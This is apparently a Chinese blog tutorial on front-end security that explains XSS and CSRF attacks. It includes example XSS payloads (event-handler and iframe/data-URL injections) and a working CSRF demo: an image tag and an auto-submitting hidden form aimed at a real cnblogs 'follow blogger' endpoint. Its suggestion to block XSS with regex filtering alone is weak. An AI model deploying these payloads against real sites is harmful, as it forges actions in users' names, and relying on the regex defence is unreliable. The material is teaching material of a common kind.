zoukankan      html  css  js  c++  java
  • 前端安全知识必备--XSS攻击和CSRF攻击

    XSS攻击--跨站脚本攻击

    场景:比如在正常发表文章,或评论他人文章时,注入恶意脚本。待他人查看时触发恶意脚本达到攻击目的

    1. 通过注入的标签事件触发
    <body onload="alert('xss')"></body>
    <p onclick="alert('1')" style="postion:fixed;100%;heith:100%">&nbsp;</p>
    <input onfocus="alert('1')" autofocus/>
    2. 通过注入的带有src属性的标签触发
    <iframe src="http://www.xss.com/xss.html"></iframe>
     <iframe src="data:text/html,<script>alert('1')</script>"></iframe>
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>

    防御:利用正则检查输入内容进行过滤

    CSRF攻击--跨站请求伪造攻击

    场景:CSRF攻击者在用户已经登录A网站之后,诱使用户访问一个B页面,利用A网站对用户的信任,以用户身份在B页面对目标网站发起伪造用户操作的请求,达到攻击目的。

    1. 利用img可跨域伪造一个get请求:B页面嵌入标签,因为用户在A网站已登录,所以可伪造用户调用一个在A网站登录后才能进行的一个任意操作
    <img style="0;" src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=4e8c33d0-77fe-df11-ac81-842b2b196315" />
    2. 利用form可跨域伪造一个post请求:不嵌iframe页面会重定向,这样就降低了攻击的隐蔽性
    <iframe style="display:none;" src="test2.html"></iframe>

    test2.html

    <!DOCTYPE HTML>
    <html lang="en-US">
    <head>
    <title>CSRF GET</title>
    <body>
         <form  name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
              <input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
              <input type="submit" value>
         </form>
         <script>
              document.forms.form1.submit();
         </script>
    </body>
    </html>

    防御:使用token

    参考:

    https://www.cnblogs.com/black-humor/p/7810920.html

    https://www.cnblogs.com/lovesong/p/5233195.html

  • 相关阅读:
    python 数据类型之列表(list)
    Python 数据类型之字符串(string)
    Python 基本语法
    Windows系统下Pycharm的安装与使用
    Windows系统下安装Python
    Fiddler Session List会话列表(监控面板)
    fiddler 常用快捷键
    fiddler 工具栏介绍
    SEPM:USB 权限管理(1)--通知权限过期用户即将卸载权限事宜
    终端管理:计算机违规软件清理 (未完待续)
  • 原文地址:https://www.cnblogs.com/liyongquan/p/9142385.html
Copyright © 2011-2022 走看看